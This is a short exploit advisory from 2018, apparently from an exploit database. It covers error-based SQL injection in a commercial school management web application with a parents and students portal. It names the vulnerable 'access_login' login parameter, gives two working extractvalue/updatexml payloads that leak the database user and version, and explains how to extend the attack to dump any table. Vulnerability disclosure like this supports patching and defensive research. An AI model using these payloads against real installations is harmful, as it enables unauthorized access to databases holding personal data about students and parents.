SOA School Management – ‘access_login’ SQL Injection
# Exploit Title: SOA - School Management Software with Integrated Parents/Students Portal & Mobile App - 'access_login' SQL Injection # Dork: N/A # Date: 2018-02-14 # Exploit Author: Borna nematzadeh (L0RD) or borna.nematzadeh123@gmail.com # Vendor Homepage: https://codecanyon.net/item/soa-school-management-software-with-integrated-parents-students-portal/20435367?s_rank=495 # Version: All version # Category: Webapps # CVE: N/A # # # # # # Description: # The vulnerability allows an attacker to inject sql commands. # # # # # # Proof of Concept : SQLI : http://localhost/PATH/administrator/index.php # Parameter : access_login (POST) # Type: Error based # Title: MySQL >= 5.6.35 AND Error based - extractvalue,updatexml (XPATH query) # Payload 1: 1') and extractvalue(1,concat(0x3a,user(),0x3a,version()))# # Payload 2: 1') and updatexml(1, concat(0x3a, version(),0x3a,user()),1)# ####################################### # Discrption : The 'username' field is vulnerable in this script ('access_login' parameter).First inject payload into this parameter. # then put anything in password and click login. You will have XPATH syntax error in the next page that contains user and db_name . # You can find all tables and any information from database by using XPATH query .You can use extractvalue() or updatexml() for generating error . Username : 1') and extractvalue(1,concat(0x3a,user(),0x3a,version()))# Password : anything |